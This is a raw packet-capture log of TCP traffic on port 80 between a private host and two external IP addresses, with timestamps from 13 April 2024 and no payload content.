Apr 13, 2024 20:21:17.046930075 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.046941996 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046963930 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046966076 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.046996117 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.046998978 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047004938 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.047005892 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047024965 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.047045946 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.047066927 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047082901 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.047116995 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047116995 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047122955 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.047147989 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047158957 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.047168970 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047189951 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047197104 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.047219992 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047235012 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.047240973 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047265053 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047272921 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.047274113 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.047274113 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.047274113 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.047274113 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.047274113 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.047274113 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.047288895 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047303915 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047311068 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.047341108 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047348022 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.047365904 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.047365904 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.047380924 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047380924 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047384977 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.047399044 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.047411919 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047422886 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.047435999 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047458887 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047460079 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.047471046 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.047471046 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.047485113 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047497034 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.047514915 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.047514915 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047535896 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.047540903 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047543049 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.047568083 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047574997 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.047594070 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047594070 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.047612906 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.047620058 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047622919 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.047643900 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047669888 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047693014 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.047703028 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047739029 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047763109 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047782898 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047805071 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047823906 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047847986 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047863960 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047888994 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047905922 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047931910 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047950029 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047971964 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.047991991 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048017025 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048036098 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048058033 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048078060 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048094988 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.048100948 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048118114 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048132896 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.048141956 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048151016 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.048161983 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048175097 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.048186064 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048202038 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048204899 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.048239946 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048249960 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048261881 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.048274040 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048289061 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048294067 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.048300028 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.048315048 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.048319101 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048338890 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.048353910 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048353910 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.048369884 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048377037 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.048399925 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.048405886 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048414946 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.048419952 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.048430920 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048443079 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048460960 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.048490047 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048526049 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048546076 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048566103 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048585892 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048612118 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048624039 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048655987 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048666000 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048692942 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048718929 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048741102 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048760891 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048782110 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048800945 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048824072 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048845053 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048867941 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048885107 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048907042 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048926115 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048945904 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048966885 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.048990011 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049005985 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049035072 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049058914 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049082994 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049103022 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049124002 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049144030 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049165010 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049185038 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049206018 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049226046 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049247980 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049264908 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049271107 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.049294949 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049318075 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049325943 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.049344063 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.049345970 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049371004 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049384117 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.049393892 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049412966 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.049415112 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049422026 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.049434900 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.049443007 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049462080 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.049463987 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049485922 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.049491882 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049499035 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049499989 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.049504995 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.049544096 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049566031 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.049578905 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049602985 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049623013 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049647093 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049668074 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049693108 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049711943 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049736023 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049751997 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049778938 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049801111 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049820900 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049834013 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049860954 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049880981 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049901009 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049920082 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049942970 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049962997 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.049985886 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050005913 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050030947 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050048113 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050071955 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050090075 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050112009 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050131083 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050153971 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050172091 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050194979 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050211906 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050234079 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050255060 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050277948 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050297022 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050319910 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050339937 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050367117 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050385952 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050405025 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050417900 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050442934 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050463915 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050481081 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050503969 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050524950 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050546885 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050570011 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050587893 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050610065 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050628901 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050656080 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050676107 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050698996 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050717115 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050740957 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050750971 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050781012 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050800085 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050821066 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050842047 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050863981 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050883055 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050904989 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050923109 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050944090 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.050966024 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051002026 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051022053 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051045895 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051059008 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051090956 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051101923 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051126003 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051142931 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051166058 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051182032 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051206112 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051219940 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051243067 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051263094 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051287889 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051307917 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051331043 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051352024 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051372051 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051389933 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051413059 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051425934 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051449060 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051472902 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051493883 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051501989 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051529884 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051548958 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051569939 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051592112 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051613092 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051630020 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051659107 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051677942 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051698923 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051717997 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051738024 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051755905 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051776886 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051795959 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051817894 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051831007 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051857948 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051879883 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051904917 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051918983 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051944017 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051959991 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.051983118 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052000999 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052023888 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052037954 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052062035 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052081108 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052100897 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052120924 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052145004 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052161932 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052187920 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052208900 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052231073 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052248001 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052270889 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052284002 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052308083 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052329063 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052349091 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052366018 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052388906 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052402973 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052427053 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052445889 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052468061 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052491903 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052514076 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052531004 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052551985 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052570105 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052589893 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052608013 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052630901 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052644014 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052669048 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052687883 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052707911 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052728891 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052752972 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052772999 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052797079 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052814007 CEST	49741	80	192.168.2.4	193.233.132.56
